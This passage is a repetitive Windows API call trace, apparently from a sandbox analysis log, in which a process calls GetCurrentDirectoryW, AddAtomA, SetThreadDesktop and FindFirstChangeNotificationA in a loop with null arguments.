[0118.077] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.077] GetLastError () returned 0x3 [0118.077] AddAtomA (lpString=0x0) returned 0x0 [0118.077] AddAtomA (lpString=0x0) returned 0x0 [0118.077] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.077] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.077] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.077] GetLastError () returned 0x3 [0118.077] AddAtomA (lpString=0x0) returned 0x0 [0118.077] AddAtomA (lpString=0x0) returned 0x0 [0118.077] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.077] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.077] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.077] GetLastError () returned 0x3 [0118.077] AddAtomA (lpString=0x0) returned 0x0 [0118.077] AddAtomA (lpString=0x0) returned 0x0 [0118.077] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.077] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.077] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.077] GetLastError () returned 0x3 [0118.077] AddAtomA (lpString=0x0) returned 0x0 [0118.077] AddAtomA (lpString=0x0) returned 0x0 [0118.077] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.077] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.077] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.077] GetLastError () returned 0x3 [0118.077] AddAtomA (lpString=0x0) returned 0x0 [0118.077] AddAtomA (lpString=0x0) returned 0x0 [0118.077] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.077] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.078] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.078] GetLastError () returned 0x3 [0118.078] AddAtomA (lpString=0x0) returned 0x0 [0118.078] AddAtomA (lpString=0x0) returned 0x0 [0118.078] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.078] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.078] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.078] GetLastError () returned 0x3 [0118.078] AddAtomA (lpString=0x0) returned 0x0 [0118.078] AddAtomA (lpString=0x0) returned 0x0 [0118.078] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.078] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.078] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.078] GetLastError () returned 0x3 [0118.078] AddAtomA (lpString=0x0) returned 0x0 [0118.078] AddAtomA (lpString=0x0) returned 0x0 [0118.078] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.078] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.078] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.078] GetLastError () returned 0x3 [0118.078] AddAtomA (lpString=0x0) returned 0x0 [0118.078] AddAtomA (lpString=0x0) returned 0x0 [0118.078] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.078] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.078] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.078] GetLastError () returned 0x3 [0118.078] AddAtomA (lpString=0x0) returned 0x0 [0118.078] AddAtomA (lpString=0x0) returned 0x0 [0118.078] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.078] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.078] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.078] GetLastError () returned 0x3 [0118.078] AddAtomA (lpString=0x0) returned 0x0 [0118.078] AddAtomA (lpString=0x0) returned 0x0 [0118.078] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.078] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.078] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.078] GetLastError () returned 0x3 [0118.078] AddAtomA (lpString=0x0) returned 0x0 [0118.078] AddAtomA (lpString=0x0) returned 0x0 [0118.078] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.079] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.079] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.079] GetLastError () returned 0x3 [0118.079] AddAtomA (lpString=0x0) returned 0x0 [0118.079] AddAtomA (lpString=0x0) returned 0x0 [0118.079] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.079] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.079] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.079] GetLastError () returned 0x3 [0118.079] AddAtomA (lpString=0x0) returned 0x0 [0118.079] AddAtomA (lpString=0x0) returned 0x0 [0118.079] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.079] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.079] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.079] GetLastError () returned 0x3 [0118.079] AddAtomA (lpString=0x0) returned 0x0 [0118.079] AddAtomA (lpString=0x0) returned 0x0 [0118.079] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.079] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.079] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.079] GetLastError () returned 0x3 [0118.079] AddAtomA (lpString=0x0) returned 0x0 [0118.079] AddAtomA (lpString=0x0) returned 0x0 [0118.079] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.079] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.079] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.079] GetLastError () returned 0x3 [0118.079] AddAtomA (lpString=0x0) returned 0x0 [0118.079] AddAtomA (lpString=0x0) returned 0x0 [0118.079] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.079] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.079] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.079] GetLastError () returned 0x3 [0118.079] AddAtomA (lpString=0x0) returned 0x0 [0118.079] AddAtomA (lpString=0x0) returned 0x0 [0118.079] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.079] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.079] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.079] GetLastError () returned 0x3 [0118.079] AddAtomA (lpString=0x0) returned 0x0 [0118.080] AddAtomA (lpString=0x0) returned 0x0 [0118.080] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.080] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.080] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.080] GetLastError () returned 0x3 [0118.080] AddAtomA (lpString=0x0) returned 0x0 [0118.080] AddAtomA (lpString=0x0) returned 0x0 [0118.080] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.080] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.080] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.080] GetLastError () returned 0x3 [0118.080] AddAtomA (lpString=0x0) returned 0x0 [0118.080] AddAtomA (lpString=0x0) returned 0x0 [0118.080] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.080] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.080] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.080] GetLastError () returned 0x3 [0118.080] AddAtomA (lpString=0x0) returned 0x0 [0118.080] AddAtomA (lpString=0x0) returned 0x0 [0118.080] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.080] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.080] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.080] GetLastError () returned 0x3 [0118.080] AddAtomA (lpString=0x0) returned 0x0 [0118.080] AddAtomA (lpString=0x0) returned 0x0 [0118.080] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.080] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.080] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.080] GetLastError () returned 0x3 [0118.080] AddAtomA (lpString=0x0) returned 0x0 [0118.080] AddAtomA (lpString=0x0) returned 0x0 [0118.080] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.080] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.080] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.080] GetLastError () returned 0x3 [0118.080] AddAtomA (lpString=0x0) returned 0x0 [0118.080] AddAtomA (lpString=0x0) returned 0x0 [0118.080] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.080] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.080] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.081] GetLastError () returned 0x3 [0118.081] AddAtomA (lpString=0x0) returned 0x0 [0118.081] AddAtomA (lpString=0x0) returned 0x0 [0118.081] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.081] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.081] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.081] GetLastError () returned 0x3 [0118.081] AddAtomA (lpString=0x0) returned 0x0 [0118.081] AddAtomA (lpString=0x0) returned 0x0 [0118.081] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.081] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.081] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.081] GetLastError () returned 0x3 [0118.081] AddAtomA (lpString=0x0) returned 0x0 [0118.081] AddAtomA (lpString=0x0) returned 0x0 [0118.081] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.081] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.081] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.081] GetLastError () returned 0x3 [0118.081] AddAtomA (lpString=0x0) returned 0x0 [0118.081] AddAtomA (lpString=0x0) returned 0x0 [0118.081] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.081] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.081] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.081] GetLastError () returned 0x3 [0118.081] AddAtomA (lpString=0x0) returned 0x0 [0118.081] AddAtomA (lpString=0x0) returned 0x0 [0118.081] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.081] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.081] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.081] GetLastError () returned 0x3 [0118.081] AddAtomA (lpString=0x0) returned 0x0 [0118.081] AddAtomA (lpString=0x0) returned 0x0 [0118.081] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.081] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.081] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.081] GetLastError () returned 0x3 [0118.081] AddAtomA (lpString=0x0) returned 0x0 [0118.081] AddAtomA (lpString=0x0) returned 0x0 [0118.081] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.082] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.082] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.082] GetLastError () returned 0x3 [0118.082] AddAtomA (lpString=0x0) returned 0x0 [0118.082] AddAtomA (lpString=0x0) returned 0x0 [0118.082] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.082] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.082] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.082] GetLastError () returned 0x3 [0118.082] AddAtomA (lpString=0x0) returned 0x0 [0118.082] AddAtomA (lpString=0x0) returned 0x0 [0118.082] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.082] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.082] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.082] GetLastError () returned 0x3 [0118.082] AddAtomA (lpString=0x0) returned 0x0 [0118.082] AddAtomA (lpString=0x0) returned 0x0 [0118.082] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.082] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.082] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.082] GetLastError () returned 0x3 [0118.082] AddAtomA (lpString=0x0) returned 0x0 [0118.082] AddAtomA (lpString=0x0) returned 0x0 [0118.082] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.083] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.083] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.083] GetLastError () returned 0x3 [0118.083] AddAtomA (lpString=0x0) returned 0x0 [0118.083] AddAtomA (lpString=0x0) returned 0x0 [0118.083] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.083] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.083] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.083] GetLastError () returned 0x3 [0118.083] AddAtomA (lpString=0x0) returned 0x0 [0118.083] AddAtomA (lpString=0x0) returned 0x0 [0118.083] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.083] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.083] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.083] GetLastError () returned 0x3 [0118.083] AddAtomA (lpString=0x0) returned 0x0 [0118.083] AddAtomA (lpString=0x0) returned 0x0 [0118.083] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.083] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.083] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.083] GetLastError () returned 0x3 [0118.083] AddAtomA (lpString=0x0) returned 0x0 [0118.083] AddAtomA (lpString=0x0) returned 0x0 [0118.083] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.083] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.083] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.083] GetLastError () returned 0x3 [0118.083] AddAtomA (lpString=0x0) returned 0x0 [0118.083] AddAtomA (lpString=0x0) returned 0x0 [0118.083] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.084] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.084] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.084] GetLastError () returned 0x3 [0118.084] AddAtomA (lpString=0x0) returned 0x0 [0118.084] AddAtomA (lpString=0x0) returned 0x0 [0118.084] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.084] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.084] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.084] GetLastError () returned 0x3 [0118.084] AddAtomA (lpString=0x0) returned 0x0 [0118.084] AddAtomA (lpString=0x0) returned 0x0 [0118.084] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.084] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.084] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.084] GetLastError () returned 0x3 [0118.084] AddAtomA (lpString=0x0) returned 0x0 [0118.084] AddAtomA (lpString=0x0) returned 0x0 [0118.084] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.084] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.084] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.084] GetLastError () returned 0x3 [0118.084] AddAtomA (lpString=0x0) returned 0x0 [0118.084] AddAtomA (lpString=0x0) returned 0x0 [0118.084] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.084] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.084] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.084] GetLastError () returned 0x3 [0118.084] AddAtomA (lpString=0x0) returned 0x0 [0118.084] AddAtomA (lpString=0x0) returned 0x0 [0118.084] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.084] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.084] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.084] GetLastError () returned 0x3 [0118.084] AddAtomA (lpString=0x0) returned 0x0 [0118.084] AddAtomA (lpString=0x0) returned 0x0 [0118.084] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.085] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.085] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.085] GetLastError () returned 0x3 [0118.085] AddAtomA (lpString=0x0) returned 0x0 [0118.085] AddAtomA (lpString=0x0) returned 0x0 [0118.085] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.085] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.085] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.085] GetLastError () returned 0x3 [0118.085] AddAtomA (lpString=0x0) returned 0x0 [0118.085] AddAtomA (lpString=0x0) returned 0x0 [0118.085] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.085] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.085] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.085] GetLastError () returned 0x3 [0118.085] AddAtomA (lpString=0x0) returned 0x0 [0118.085] AddAtomA (lpString=0x0) returned 0x0 [0118.085] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.085] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.085] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.085] GetLastError () returned 0x3 [0118.085] AddAtomA (lpString=0x0) returned 0x0 [0118.085] AddAtomA (lpString=0x0) returned 0x0 [0118.085] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.085] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.085] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.085] GetLastError () returned 0x3 [0118.085] AddAtomA (lpString=0x0) returned 0x0 [0118.085] AddAtomA (lpString=0x0) returned 0x0 [0118.085] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.085] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.085] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.085] GetLastError () returned 0x3 [0118.085] AddAtomA (lpString=0x0) returned 0x0 [0118.085] AddAtomA (lpString=0x0) returned 0x0 [0118.085] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.085] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.085] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.085] GetLastError () returned 0x3 [0118.085] AddAtomA (lpString=0x0) returned 0x0 [0118.085] AddAtomA (lpString=0x0) returned 0x0 [0118.085] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.085] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.086] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.086] GetLastError () returned 0x3 [0118.086] AddAtomA (lpString=0x0) returned 0x0 [0118.086] AddAtomA (lpString=0x0) returned 0x0 [0118.086] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.086] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.086] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.087] GetLastError () returned 0x3 [0118.087] AddAtomA (lpString=0x0) returned 0x0 [0118.087] AddAtomA (lpString=0x0) returned 0x0 [0118.087] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.087] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.087] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.087] GetLastError () returned 0x3 [0118.087] AddAtomA (lpString=0x0) returned 0x0 [0118.087] AddAtomA (lpString=0x0) returned 0x0 [0118.087] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.087] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.087] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.087] GetLastError () returned 0x3 [0118.087] AddAtomA (lpString=0x0) returned 0x0 [0118.087] AddAtomA (lpString=0x0) returned 0x0 [0118.087] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.087] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.087] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.087] GetLastError () returned 0x3 [0118.087] AddAtomA (lpString=0x0) returned 0x0 [0118.087] AddAtomA (lpString=0x0) returned 0x0 [0118.087] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.087] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.087] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.087] GetLastError () returned 0x3 [0118.087] AddAtomA (lpString=0x0) returned 0x0 [0118.087] AddAtomA (lpString=0x0) returned 0x0 [0118.087] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.087] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.087] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.087] GetLastError () returned 0x3 [0118.087] AddAtomA (lpString=0x0) returned 0x0 [0118.087] AddAtomA (lpString=0x0) returned 0x0 [0118.088] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.088] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.088] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.088] GetLastError () returned 0x3 [0118.088] AddAtomA (lpString=0x0) returned 0x0 [0118.088] AddAtomA (lpString=0x0) returned 0x0 [0118.088] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.088] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.088] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.088] GetLastError () returned 0x3 [0118.088] AddAtomA (lpString=0x0) returned 0x0 [0118.088] AddAtomA (lpString=0x0) returned 0x0 [0118.088] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.088] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.088] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.088] GetLastError () returned 0x3 [0118.088] AddAtomA (lpString=0x0) returned 0x0 [0118.088] AddAtomA (lpString=0x0) returned 0x0 [0118.088] SetThreadDesktop (hDesktop=0x0) returned 0 [0118.088] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0118.088] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0118.088] GetLastError () returned 0x3 